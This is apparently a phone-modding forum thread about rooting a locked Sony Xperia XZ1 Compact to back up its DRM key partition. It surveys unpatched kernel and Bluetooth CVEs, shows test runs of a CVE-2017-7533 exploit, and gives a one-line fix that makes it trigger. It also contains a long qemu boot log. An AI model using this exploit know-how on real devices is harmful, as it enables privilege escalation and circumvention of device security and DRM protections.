10-01-2019 post#517: video showing xz1c bl unlock with twrp booted in the middle
11-01-2019 post#520: howto for unlock with the twrp booted in the middle
19-01-2019 post#602: info about test to write dev master key TA unit from the secd process
30-01-2019 post#620: info about TA restore and various drm keys
02-02-2019 post#623: preview of FOTA system update fully installed with unlocked and rooted XZ1c - it confirms all functionality of a locked phone have been restored
05-02-2019 post#633: tested fota system update from oreo to pie - posted a video
10-02-2019 post#645: kernels hiding bootloader unlock released for XZ1c/XZ1/XZp - with locked TA restored this brings root with all locked phone functionality of stock fw restored
16-02-2019 post#652: ported BL unlock hiding patch to TAMA platform for testing with XZ2 (it worked, but cannot be booted via fastboot due to bug in bootloader according to sony /more details here/)
19-02-2019 post#663: patched XZ2 kernel to make it boot via 'fastboot boot' command from usb (tested successfully by @serajr post#664) - shall be useful for twrp setup on TAMA platform (post#668 by @MartinX3)
19-02-2019 post#672: fota system update with my rooted kernels verified with XZ2 phone by @serajr - so we may have fota system update with root on xz2/xz2c/xz2p/xz3 phones too (theoretically)
---->> moved the original opening post in here ----
Downgrade XZ1 Compact to 47.1.A.2.281 firmware version (not sure if this downgrade is safe, see android-attest-key-lost thread here please). The 47.1.A.2.324_CE1 version might be better to try first.
The 2.281 fw results with android security patch level 2017-08-05, kernel 4.4.74, android oreo.
BlueBorne vulnerabilities are not patched yet with this firmware:
CVE-2017-0785 Android information leak vulnerability PoC seems to work - tested myself.
Not sure, but it seems that bluetooth service is not a 32bit process anymore, contrary the note in BlueBorne whitepaper /The Bluetooth service in Android runs under Zygote (Android service manager), and is surprisingly a 32-bit process (even when the OS and CPU are ARM-64 for instance/ - example of stack dump obtained:
Code:
000000b0 00 00 00 00 ff ff ff fd ff ff ff ff d8 69 f4 80 │····│····│····│·i··│
000000c0 00 00 00 73 e8 60 0c 10 00 00 00 73 e8 60 01 40 │···s│·`··│···s│·`·@│
000000d0 00 00 00 73 d8 6b 20 08 00 00 00 73 e8 69 06 d0 │···s│·k ·│···s│·i··│
...
000007e0 00 00 00 73 2c 32 34 38 72 68 74 20 20 64 61 65 │···s│,248│rht │ dae│
000007f0 65 6d 61 6e 5f 74 62 20 6b 72 6f 77 75 65 75 71 │eman│_tb │krow│ueuq│
00000800 74 73 20 65 65 74 72 61 00 00 00 64 00 00 00 00 │ts e│etra│···d│····│
Those '00 00 00 73' are often present, quite possibly the upper 32bit part of a 64bit pointer. The text at 7e8 may be something like 'thread name bt_workqueue started', possibly indicating the CVE-2017-078 PoC worked (modified so that 'n = 90' to receive more data).
The first idea was to make the Android BlueBorne exploit working to obtain bluetooth service credentails and use that with some kernel exploit to switch to root in order to finally do TA partition backup (to save DRM keys).
The bluetooth user seems to have the NET_ADMIN capability, that could be very useful.
I've researched further possible kernel exploits and it seems to me that the kernel from 2.281 firmware seems to contain (at least) following vulnerabilities:
CVE-2017-7308 AF_PACKET packet_set_ring
This needs NET_RAW capability, that may be hard to obtain, bluetooth service seems not to have it.
CVE-2017-7533 race between inotify_handle_event() and vfs_rename()
https://exploit.kitploit.com/2017/08/linux-kernel-412-race-condition.html
This may work as a standalone exploit - checked the kernel source - vulnerability is not fixed, not sure about SElinux limitations and other android security mitigations - please discuss this.
Found only demo poc not getting root, but it may be possibly developed to full temp root standalone exploit.
This currently seems to be the most promising.
CVE-2017-1000112 memory corruption in UDP fragmentation offload
https://securingtomorrow.mcafee.com...vilege-escalation-analyzing-cve-2017-1000112/
https://ricklarabee.blogspot.cz/2017/12/adapting-poc-for-cve-2017-1000112-to.html
https://www.exploit-db.com/exploits/43418/
This could be used after BlueBorne done, as it needs NET_ADMIN capability.
HELP NEEDED PLEASE - let's collaborate and develop together the needed exploits!
For example it is hard for me to develop only with a locked device, better debugging may be possible on stock firmware with unlocked bootloader as some modifications may be flashed. My free time is quite limitted, so it would be useful to split the work.
----<< moved the original opening post in here ----
It seems that 'CVE-2017-7533 race between inotify_handle_event() and vfs_rename()' is not possible to trigger from adb shell - possibly some android security mitigations/selinux limitation?
Built exploit.c from CVE-2017-7533 with attached View attachment CVE-2017-7533-android-build.tar.gz android makefiles, adb pushed to /data/local/tmp:
Code:
G8441:/ $ uname -a
Linux localhost 4.4.74-perf+ #1 SMP PREEMPT Wed Aug 9 16:09:57 2017 aarch64
G8441:/ $ cd /data/local/tmp
G8441:/data/local/tmp $ ./exploit 2>err.log
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100��1����test_dir/bbbb3210321032103210"
alloc_len : 50
callrename done.
G8441:/data/local/tmp $
the notify events seem not to be received
The rename function works in the exploit (tested separately), but many errors such as
rename1: No such file or directory
rename2: No such file or directory
are returned from the exploit though.
The inotify_init1 function returns valid fd, so it looks like everything is ok, but for unknown reason, inotify events are not received.
Running the same code in linux with vulnerable kernel results with this:
Code:
Linux 4.8.0 #1 SMP Tue Oct 25 09:09:01 UTC 2016 x86_64 Intel(R) Core(TM) i5-2500K CPU @ 3.30GHz GenuineIntel GNU/Linux
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100ÿÿ1ÿÿÿÿ"
handle_events() event->name : bbbb32103210321032100ÿÿ1ÿÿÿÿ, event->len : 32
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
callrename done.
alloc_len : 50
Note the 'handle_events' log message presence - that indicates receive of inotify event. The rename errors are not returned in this case.
That means even though the kernel is vulnerable (as verified in sony release source code - it is fixed since 47.1.A.12.34 version as can be seen with 'git log --stat -p origin/47.1.A.12.xxx -- fs/dcache.c' in sony's kernel git repository), it looks like we cannot trigger the bug simply from adb shell.
This is what is configured in the kernel (using sony's build instructions):
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
Am I missing something? Any idea why the bug cannot be triggered?
--previous edit-- 27-05-2018 at 22:58. Reason: added info about rename() on xz1c; added info about inotify_init1() on xz1c; added info about 1st fw version with a fix and relevant kernel config options

It doesn't trigger because the exploit itself is broken:
Code:
@@ -280,7 +280,7 @@ void *callrename( void *ptr )
char enter = 0;
char origname[1024];
char longname[1024];
- char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff";
+ char next_ptr[9] = "\x30\xff\xff\x31\xff\xff\xff\xff";
char prev_ptr[8] = "";
// This value will overwrite the next (struct fsnotify_event)event->list.next
With that it should work (not tested though).
Elevating through heap/slab overflow is not going to be straightforward though. As the redhat description states, we could redirect the free list pointer to userspace and provoke the kernel to put some function pointers there for us to modify, but as soon as a context switch happens the system will crash and burn. I guess easiest way would be to combine this with some older heap overflow exploit, assuming such thing exists (haven't looked)...

Thanks, your change really made it working:
Code:
G8441:/data/local/tmp $ ./exploit
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100��1����"
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
...
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
alloc_len : 50
callrename done.
So this could be a way after all even though not easy.

It has been done already, oreo root exploit is existing and it uses the CVE-2017-7533 (race between inotify and rename) as a starting point. Unfortunately the exploit itself is not released yet.
There are slides explaining basics about the exploit available:
asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf
It continues even with a lot more interesting second stage exploit which mirrors kernel space memory for user space access using forgotten/overlooked feature of arm page table (address translation) setup.
Not sure when the exploit may be released - they are probably holding it back intentionally.
I guess that it will not be released for a long time because the Kernel Space Mirroring Attack is a totally new vulnerability (probably even without CVE yet). So they wait first for CVE assignment and then wait for google to release a fix and wait even more to allow vendors to deploy it to customers.

There are patches to KSMA being discussed on LKML since May 29th so things are moving on.
There's also a demo of the exploit here: https://youtube.com/watch?v=2zGTEv-iUOY

Managed to boot kernel from the 47.1.A.2.281 fw in qemu - dmesg here:
Code:
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
[ 0.000000] Initializing cgroup subsys schedtune
[ 0.000000] Linux version 4.4.74-perf+ ([email protected]) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Aug 9 16:09:57 2017
[ 0.000000] Boot CPU: AArch64 Processor [411fd070]
[ 0.000000] Machine: linux,dummy-virt
[ 0.000000] cma: Reserved 16 MiB at 0x00000000bf000000
[ 0.000000] On node 0 totalpages: 524288
[ 0.000000] DMA zone: 8192 pages used for memmap
[ 0.000000] DMA zone: 0 pages reserved
[ 0.000000] DMA zone: 524288 pages, LIFO batch:31
[ 0.000000] psci: probing for conduit method from DT.
[ 0.000000] psci: PSCIv0.2 detected in firmware.
[ 0.000000] psci: Using standard PSCI v0.2 function IDs
[ 0.000000] psci: Trusted OS migration not required
[ 0.000000] psci: Initializing psci_cpu_init
[ 0.000000] PERCPU: Embedded 21 pages/cpu @ffffffc07efaf000 s47936 r8192 d29888 u86016
[ 0.000000] pcpu-alloc: s47936 r8192 d29888 u86016 alloc=21*4096
[ 0.000000] pcpu-alloc: [0] 0 [0] 1
[ 0.000000] CPU features: enabling workaround for ARM erratum 832075
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 516096
[ 0.000000] Kernel command line: nokaslr androidboot.selinux=permissive
[ 0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[ 0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[ 0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[ 0.000000] software IO TLB [mem 0xb8a00000-0xbca00000] (64MB) mapped at [ffffffc078a00000-ffffffc07c9fffff]
[ 0.000000] Memory: 1923764K/2097152K available (17918K kernel code, 2652K rwdata, 8904K rodata, 10240K init, 2852K bss, 157004K reserved, 16384K cma-reserved)
[ 0.000000] Virtual kernel memory layout:
[ 0.000000] modules : 0xffffff8000000000 - 0xffffff8008000000 ( 128 MB)
[ 0.000000] vmalloc : 0xffffff8008000000 - 0xffffffbdbfff0000 ( 246 GB)
[ 0.000000] .init : 0xffffff8009c00000 - 0xffffff800a600000 ( 10240 KB)
[ 0.000000] .text : 0xffffff8008080000 - 0xffffff8009200000 ( 17920 KB)
[ 0.000000] .rodata : 0xffffff8009200000 - 0xffffff8009c00000 ( 10240 KB)
[ 0.000000] .data : 0xffffff800a600000 - 0xffffff800a897300 ( 2653 KB)
[ 0.000000] vmemmap : 0xffffffbdc0000000 - 0xffffffbfc0000000 ( 8 GB maximum)
[ 0.000000] 0xffffffbdc0000000 - 0xffffffbdc2000000 ( 32 MB actual)
[ 0.000000] fixed : 0xffffffbffe7fd000 - 0xffffffbffec00000 ( 4108 KB)
[ 0.000000] PCI I/O : 0xffffffbffee00000 - 0xffffffbfffe00000 ( 16 MB)
[ 0.000000] memory : 0xffffffc000000000 - 0xffffffc080000000 ( 2048 MB)
[ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=2, Nodes=1
[ 0.000000] HMP scheduling enabled.
[ 0.000000] Preemptible hierarchical RCU implementation.
[ 0.000000] RCU dyntick-idle grace-period acceleration is enabled.
[ 0.000000] RCU restricting CPUs from NR_CPUS=8 to nr_cpu_ids=2.
[ 0.000000] RCU kthread priority: 1.
[ 0.000000] RCU: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=2
[ 0.000000] NR_IRQS:64 nr_irqs:64 0
[ 0.000000] GICv2m: Node v2m: range[0x8020000:0x8020fff], SPI[80:144]
[ 0.000000] Offload RCU callbacks from all CPUs
[ 0.000000] Offload RCU callbacks from CPUs: 0-1.
[ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt).
[ 0.000000] clocksource: arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns
[ 0.000129] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns
[ 0.000754] clocksource: Switched to clocksource arch_sys_counter
[ 0.002862] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)
[ 0.003047] pid_max: default: 32768 minimum: 301
[ 0.003929] Security Framework initialized
[ 0.004069] SELinux: Initializing.
[ 0.004522] SELinux: Starting in permissive mode
[ 0.004966] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
[ 0.005017] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes)
[ 0.023663] Initializing cgroup subsys memory
[ 0.024136] Initializing cgroup subsys freezer
[ 0.024256] Initializing cgroup subsys debug
[ 0.038338] /cpus/[email protected]: Unknown CPU type
[ 0.038415] /cpus/[email protected]: Unknown CPU type
[ 0.038571] CPU0: update cpu_capacity 1024
[ 0.039453] ASID allocator initialised with 65536 entries
[ 0.078493] mem dump base table DT node does not exist
[ 0.078665] couldn't find /soc/[email protected] node
[ 0.090148] CPU1: update cpu_capacity 1024
[ 0.090682] CPU1: Booted secondary processor [411fd070]
[ 0.095452] Brought up 2 CPUs
[ 0.095541] SMP: Total of 2 processors activated.
[ 0.095833] CPU: All CPU(s) started at EL1
[ 0.096572] alternatives: patching kernel code
[ 0.323842] CPU1: update max cpu_capacity 1024
[ 0.341084] CPU1: update max cpu_capacity 1024
[ 0.351666] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[ 0.351818] futex hash table entries: 512 (order: 3, 32768 bytes)
[ 0.357620] pinctrl core: initialized pinctrl subsystem
[ 0.360215] debug region node not found
[ 0.372552] NET: Registered protocol family 16
[ 0.376688] schedtune: init normalization constants...
[ 0.376756] schedtune: disabled!
[ 0.401557] cpuidle: using governor ladder
[ 0.421111] cpuidle: using governor menu
[ 0.441126] cpuidle: using governor qcom
[ 0.441993] vdso: 2 pages (1 code @ ffffff8009206000, 1 data @ ffffff800a604000)
[ 0.447772] DMA: preallocated 256 KiB pool for atomic allocations
[ 0.470943] exit: IPA_USB init success!
[ 0.499315] of_amba_device_create(): amba_device_add() failed (-517) for /[email protected]
[ 0.501005] of_amba_device_create(): amba_device_add() failed (-517) for /[email protected]
[ 0.501372] of_amba_device_create(): amba_device_add() failed (-517) for /[email protected]
[ 0.603967] ACPI: Interpreter disabled.
[ 0.604525] socinfo_init: Can't find SMEM_HW_SW_BUILD_ID; falling back on dummy values.
[ 0.605154] Unknown SOC ID!
[ 0.605447] ------------[ cut here ]------------
[ 0.605487] WARNING: at /home/hudsonslave/root/workspace/offbuild_pre-yoshino2-2.0.0_android_matrix/HUDSON_PRODUCT/lilac/HUDSON_VARIANT/user/label/CM/kernel/msm-4.4/drivers/soc/qcom/socinfo.c:1622
[ 0.605547] Modules linked in:
[ 0.605652]
[ 0.605853] CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.4.74-perf+ #1
[ 0.605889] Hardware name: linux,dummy-virt (DT)
[ 0.605991] task: ffffffc0784d8000 ti: ffffffc0784b4000 task.ti: ffffffc0784b4000
[ 0.606070] PC is at socinfo_init+0x118/0x7a4
[ 0.606123] LR is at socinfo_init+0x118/0x7a4
[ 0.606153] pc : [<ffffff8009c36b98>] lr : [<ffffff8009c36b98>] pstate: 60400045
[ 0.606177] sp : ffffffc0784b7c80
[ 0.606216] x29: ffffffc0784b7cf0 x28: ffffff8009c81a00
[ 0.606279] x27: ffffff8009c73590 x26: ffffff8009c73570
[ 0.606311] x25: ffffff8009c004b4 x24: ffffff800a9f82f0
[ 0.606341] x23: 0000000000000000 x22: 0000000000000001
[ 0.606371] x21: ffffff800a606000 x20: ffffff800a9f8000
[ 0.606401] x19: ffffff800927a000 x18: 0000000000040000
[ 0.606431] x17: 0000000000003a7f x16: 0000000000000002
[ 0.606461] x15: 0000000000007fff x14: 7564206e6f206b63
[ 0.606491] x13: ffffffffffff0000 x12: 0000000000000028
[ 0.606521] x11: 0000000000000006 x10: ffffff800a89e000
[ 0.606570] x9 : 0000000000000057 x8 : 0000000000000000
[ 0.606601] x7 : 0000000000000000 x6 : ffffff800a89f14e
[ 0.606631] x5 : 0000000000000000 x4 : 0000000000000000
[ 0.606660] x3 : 0000000000000000 x2 : ffffffc0784b4000
[ 0.606689] x1 : 0000000000000000 x0 : 000000000000000f
[ 0.606765]
[ 0.606765] PC: 0xffffff8009c36b58:
[ 0.606801] 6b58 2a1703e2 2a1603e3 52800004 52800185 97956505 52800180 b9000b00 14000002
[ 0.607340] 6b78 b9000b00 f9417a80 b4000060 b9400400 350000a0 90ffde00 912c8000 979564fa
[ 0.607704] 6b98 d4210000 f9417a80 b40000a0 b9400401 71051c3f 54000049 d4210000 b9400401
[ 0.608063] 6bb8 f0ffb200 911aa000 910bc296 8b011000 b940c000 b9000ec0 97a6ab44 b9400ac3
[ 0.608465]
[ 0.608465] LR: 0xffffff8009c36b58:
[ 0.608495] 6b58 2a1703e2 2a1603e3 52800004 52800185 97956505 52800180 b9000b00 14000002
[ 0.608880] 6b78 b9000b00 f9417a80 b4000060 b9400400 350000a0 90ffde00 912c8000 979564fa
[ 0.609281] 6b98 d4210000 f9417a80 b40000a0 b9400401 71051c3f 54000049 d4210000 b9400401
[ 0.609640] 6bb8 f0ffb200 911aa000 910bc296 8b011000 b940c000 b9000ec0 97a6ab44 b9400ac3
[ 0.610033]
[ 0.610033] SP: 0xffffffc0784b7c40:
[ 0.610062] 7c40 09c36b98 ffffff80 784b7c80 ffffffc0 09c36b98 ffffff80 60400045 00000000
[ 0.610464] 7c60 ffffffff 00000000 00000000 00000000 ffffffff ffffffff 6c6c7443 6e721f78
[ 0.610948] 7c80 784b7c90 ffffffc0 ff0a0005 ffffffff 784b7d10 ffffffc0 083ad368 ffffff80
[ 0.611330] 7ca0 0000020f 00000000 0a89b000 ffffff80 09aac8b8 ffffff80 09c36a80 ffffff80
[ 0.611725]
[ 0.611845] ---[ end trace cf17d4d9cad0286c ]---
[ 0.611997] Call trace:
[ 0.612231] Exception stack(0xffffffc0784b7ab0 to 0xffffffc0784b7be0)
[ 0.612455] 7aa0: ffffff800927a000 0000008000000000
[ 0.612613] 7ac0: 0000000042b66000 ffffff8009c36b98 ffffff80097286c0 ffffff800a626f48
[ 0.612730] 7ae0: 0000000100000000 ffffff800a89f130 ffffffc0784b7b00 ffffff8008110ce0
[ 0.612845] 7b00: ffffffc0784b7ba0 ffffff800811104c ffffff8008111014 ffffff800a9f8000
[ 0.612960] 7b20: ffffff800a606000 0000000000000001 0000000000000000 ffffff800a9f82f0
[ 0.613074] 7b40: ffffff8009c004b4 ffffff8009c73570 000000000000000f 0000000000000000
[ 0.613187] 7b60: ffffffc0784b4000 0000000000000000 0000000000000000 0000000000000000
[ 0.613304] 7b80: ffffff800a89f14e 0000000000000000 0000000000000000 0000000000000057
[ 0.613418] 7ba0: ffffff800a89e000 0000000000000006 0000000000000028 ffffffffffff0000
[ 0.613534] 7bc0: 7564206e6f206b63 0000000000007fff 0000000000000002 0000000000003a7f
[ 0.613661] [<ffffff8009c36b98>] socinfo_init+0x118/0x7a4
[ 0.613719] [<ffffff8008083adc>] do_one_initcall+0xc4/0x1dc
[ 0.613771] [<ffffff8009c00e68>] kernel_init_freeable+0x1a8/0x248
[ 0.613810] [<ffffff80091051c4>] kernel_init+0x18/0x138
[ 0.613840] [<ffffff80080830c0>] ret_from_fork+0x10/0x50
[ 0.614477] can't find qcom,msm-imem node
[ 0.614555] socinfo_print: v0.1, id=0, ver=0.1
[ 0.614876] msm_bus_fabric_init_driver
[ 0.617203] vgaarb: loaded
[ 0.619519] SCSI subsystem initialized
[ 0.621504] usbcore: registered new interface driver usbfs
[ 0.621968] usbcore: registered new interface driver hub
[ 0.622562] usbcore: registered new device driver usb
[ 0.623818] media: Linux media interface: v0.10
[ 0.624062] Linux video capture interface: v2.00
[ 0.636355] dev-cpufreq: No tables parsed from DT.
[ 0.637869] Advanced Linux Sound Architecture Driver Initialized.
[ 0.646543] Bluetooth: ffffffc0784b7cf0
[ 0.646800] NET: Registered protocol family 31
[ 0.646850] Bluetooth: ffffffc0784b7cf0
[ 0.647078] Bluetooth: ffffffc0784b7cd0Bluetooth: ffffffc0784b7ca0
[ 0.647570] Bluetooth: ffffffc0784b7cb0<6>[ 0.652956] NetLabel: Initializing
[ 0.653014] NetLabel: domain hash size = 128
[ 0.653038] NetLabel: protocols = UNLABELED CIPSOv4
[ 0.654938] cfg80211: World regulatory domain updated:
[ 0.654992] cfg80211: DFS Master region: unset
[ 0.655037] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp), (dfs_cac_time)
[ 0.655125] cfg80211: (2402000 KHz - 2472000 KHz @ 20000 KHz), (N/A, 2000 mBm), (N/A)
[ 0.655163] cfg80211: (2457000 KHz - 2482000 KHz @ 20000 KHz), (N/A, 2000 mBm), (N/A)
[ 0.655188] cfg80211: (5170000 KHz - 5250000 KHz @ 80000 KHz), (N/A, 2000 mBm), (N/A)
[ 0.655234] cfg80211: (5250000 KHz - 5330000 KHz @ 80000 KHz), (N/A, 2000 mBm), (0 s)
[ 0.655260] cfg80211: (5490000 KHz - 5730000 KHz @ 80000 KHz), (N/A, 2000 mBm), (0 s)
[ 0.655284] cfg80211: (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 1400 mBm), (N/A)
[ 0.656154] NetLabel: unlabeled traffic allowed by default
[ 0.656738] pcie:pcie_init.
[ 0.662722] clocksource: Switched to clocksource arch_sys_counter
[ 0.879216] pnp: PnP ACPI: disabled
[ 0.883774] NET: Registered protocol family 2
[ 0.891608] TCP established hash table entries: 16384 (order: 5, 131072 bytes)
[ 0.892033] TCP bind hash table entries: 16384 (order: 6, 262144 bytes)
[ 0.892514] TCP: Hash tables configured (established 16384 bind 16384)
[ 0.893122] UDP hash table entries: 1024 (order: 3, 32768 bytes)
[ 0.893331] UDP-Lite hash table entries: 1024 (order: 3, 32768 bytes)
[ 0.895278] NET: Registered protocol family 1
[ 0.895829] PCI: CLS 0 bytes, default 64
[ 0.907093] Trying to unpack rootfs image as initramfs...
[ 1.813394] Freeing initrd memory: 10856K (ffffffc008000000 - ffffffc008a9a000)
[ 1.839873] audit: initializing netlink subsys (disabled)
[ 1.841323] audit: type=2000 audit(1.830:1): initialized
[ 1.843654] Initialise system trusted keyring
[ 1.845285] vmscan: error setting kswapd cpu affinity mask
[ 1.868530] VFS: Disk quotas dquot_6.6.0
[ 1.869111] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[ 1.877043] Registering sdcardfs 0.1
[ 1.879381] fuse init (API version 7.23)
[ 1.880925] SELinux: Registering netfilter hooks
[ 1.883759] pfk_ecryptfs [pfk_ecryptfs_init]: PFK ecryptfs inited successfully
[ 1.883827] pfk_ext4 [pfk_ext4_init]: PFK EXT4 inited successfully
[ 1.883940] pfk [pfk_init]: Driver initialized successfully
[ 1.906531] Key type asymmetric registered
[ 1.906667] Asymmetric key parser 'x509' registered
[ 1.907447] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251)
[ 1.907643] io scheduler noop registered
[ 1.907745] io scheduler deadline registered
[ 1.908491] io scheduler cfq registered (default)
[ 1.914647] mdss_dsi_status_init: DSI status check interval:5000
[ 1.924056] _smem_log_init: no log or log_idx allocated
[ 1.924109] smem_log_initialize: init failed -19
[ 1.928406] spcom [spcom_init]: spcom driver Ver 1.0 23-Nov-2015.
[ 1.930476] audio_notifer_reg_service: service SSR_MODEM is in use
[ 1.935741] pil: failed to find qcom,msm-imem-pil node
[ 1.943836] msm_serial: driver initialized
[ 1.944825] msm_serial_hs module loaded
[ 1.999765] diag: Unable to register MHI read channel for 0, err: -22
[ 2.001287] diag: Unable to initialze diagfwd bridge, err: -12
[ 2.006917] Unable to detect cache hierarchy from DT for CPU 0
[ 2.053950] brd: module loaded
[ 2.078315] loop: module loaded
[ 2.081406] zram: Added device: zram0
[ 2.091074] tof_sensor_init: Initialize i2c driver
[ 2.091234] tof_sensor_init: Added i2c driver rc = 0Initialize TCS3490 driver
[ 2.091447] TCS3490 added i2c driver rc = 0<6>[ 2.097314] SCSI Media Changer driver v0.25
[ 2.098726] Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
[ 2.111375] tun: Universal TUN/TAP device driver, 1.6
[ 2.111422] tun: (C) 1999-2004 Max Krasnyansky <[email protected]>
[ 2.111816] sky2: driver version 1.30
[ 2.112935] PPP generic driver version 2.4.2
[ 2.113685] PPP BSD Compression module registered
[ 2.113776] PPP Deflate Compression module registered
[ 2.113968] PPP MPPE Compression module registered
[ 2.114073] NET: Registered protocol family 24
[ 2.121575] usb_host_ext_event has been registered!
[ 2.122073] usbcore: registered new interface driver usb-storage
[ 2.122469] usbcore: registered new interface driver usb_ehset_test
[ 2.125553] msm_sharedmem: sharedmem_register_qmi: qmi init successful
[ 2.126057] diag: failed to find diag_dload imem node
[ 2.128723] mousedev: PS/2 mouse device common for all mice
[ 2.129813] usbcore: registered new interface driver xpad
[ 2.131793] stmvl53l0_init: Enter
[ 2.131865] stmvl53l0_init_cci: Enter
[ 2.132239] stmvl53l0_init_cci: End
[ 2.132288] stmvl53l0_init: End
[ 2.132729] fpc1145_init OK
[ 2.133628] i2c /dev entries driver
[ 2.138308] ------------[ cut here ]------------
[ 2.138340] WARNING: at /home/hudsonslave/root/workspace/offbuild_pre-yoshino2-2.0.0_android_matrix/HUDSON_PRODUCT/lilac/HUDSON_VARIANT/user/label/CM/kernel/msm-4.4/drivers/media/platform/msm/camera_v2/msm.c:401
[ 2.138361] Modules linked in:
[ 2.138390]
[ 2.138527] CPU: 1 PID: 1 Comm: swapper/0 Tainted: G W 4.4.74-perf+ #1
[ 2.138558] Hardware name: linux,dummy-virt (DT)
[ 2.138601] task: ffffffc0784d8000 ti: ffffffc0784b4000 task.ti: ffffffc0784b4000
[ 2.138639] PC is at msm_sd_register+0x198/0x1fc
[ 2.138666] LR is at msm_sensor_init_module+0x114/0x1b8
[ 2.138686] pc : [<ffffff800897d1fc>] lr : [<ffffff8009c47ab0>] pstate: 60400145
[ 2.138701] sp : ffffffc0784b7d20
[ 2.138735] x29: ffffffc0784b7d20 x28: ffffff8009c82838
[ 2.138770] x27: ffffff8009c735a0 x26: ffffff8009c73570
[ 2.138800] x25: ffffff8009c004b4 x24: 0000000000000000
[ 2.138830] x23: ffffff800aa4b530 x22: ffffff800aa4b528
[ 2.138869] x21: ffffff800aa4b000 x20: ffffff800a833000
[ 2.138907] x19: ffffff800aa4b000 x18: 00000000deab7ec7
[ 2.138937] x17: 00000000432aff97 x16: 0000000000000001
[ 2.138966] x15: 0000000000000003 x14: 0ffffffffffffffe
[ 2.138995] x13: 0000000000000030 x12: 0101010101010101
[ 2.139025] x11: ff7f7f7f7f7f7f7f x10: fdff646b74636e6c
[ 2.139054] x9 : 0000000000000000 x8 : ffffffc076698e00
[ 2.139083] x7 : 0000000000000000 x6 : ffffffc076698c28
[ 2.139111] x5 : 0000000000000040 x4 : ffffff800aa4b088
[ 2.139140] x3 : 000000000000000e x2 : 0000000000020006
[ 2.139169] x1 : ffffffc076698c00 x0 : ffffffc076698c28
[ 2.139200]
[ 2.139200] PC: 0xffffff800897d1bc:
[ 2.139222] d1bc 12800002 52800023 f94046a4 97fef414 2a0003f3 37f80433 52800a20 b90072a0
[ 2.139580] d1dc b943aa80 b90076a0 f9406a80 b4000320 f90012a0 52800000 f9007ab4 17ffffc5
[ 2.139939] d1fc d4210000 12800080 f94013f5 a94153f3 a8c37bfd d65f03c0 d4210000 128002a0
[ 2.140339] d21c f94013f5 a94153f3 a8c37bfd d65f03c0 12800173 f9407aa0 b4000080 97fef7df
[ 2.140723]
[ 2.140723] LR: 0xffffff8009c47a70:
[ 2.140753] 7a70 f9006a77 b900be64 9100a260 97b3c52d f94296a1 52a00043 528000c2 91038020
[ 2.141119] 7a90 72a00042 b9005023 528001c3 f9002420 9100a020 b9006023 b9015822 97b4d56e
[ 2.141488] 7ab0 2a0003f3 340001e0 9125a280 9101e000 79404401 36100381 f0ffb482 f0ffe3e1
[ 2.141872] 7ad0 912f2042 91386021 9101e042 52801803 aa0203e4 2a1303e5 979e0bdd 14000012
[ 2.142246]
[ 2.142246] SP: 0xffffffc0784b7ce0:
[ 2.142275] 7ce0 09c47ab0 ffffff80 784b7d20 ffffffc0 0897d1fc ffffff80 60400145 00000000
[ 2.142660] 7d00 764eba80 ffffffc0 09c4799c ffffff80 ffffffff ffffffff 09c47a80 ffffff80
[ 2.143027] 7d20 784b7d50 ffffffc0 09c47ab0 ffffff80 76698c00 ffffffc0 0a833000 ffffff80
[ 2.143401] 7d40 0aa4b000 ffffff80 00000000 00000000 784b7d90 ffffffc0 08083adc ffffff80
[ 2.143841]
[ 2.143883] ---[ end trace cf17d4d9cad0286d ]---
[ 2.143920] Call trace:
[ 2.143951] Exception stack(0xffffffc0784b7b50 to 0xffffffc0784b7c80)
[ 2.144022] 7b40: ffffff800aa4b000 0000008000000000
[ 2.144134] 7b60: 0000000042b66000 ffffff800897d1fc ffffff8031303531 cb88537fdc8ba64a
[ 2.144253] 7b80: ffffffc0784b7c10 ffffff80083aa2d4 ffffffc0784b7d90 00000000ffffffd8
[ 2.144366] 7ba0: ffffff800923e648 0000000000000800 0000000000000000 ffffffc0764eba80
[ 2.144480] 7bc0: ffffff800a7f1000 ffffffc0764f0b00 ffffffc0784b7c10 ffffff80083aa208
[ 2.144593] 7be0: ffffffc0784b7d90 00000000ffffffd0 ffffffc076698c28 ffffffc076698c00
[ 2.144707] 7c00: 0000000000020006 000000000000000e ffffff800aa4b088 0000000000000040
[ 2.144821] 7c20: ffffffc076698c28 0000000000000000 ffffffc076698e00 0000000000000000
[ 2.144934] 7c40: fdff646b74636e6c ff7f7f7f7f7f7f7f 0101010101010101 0000000000000030
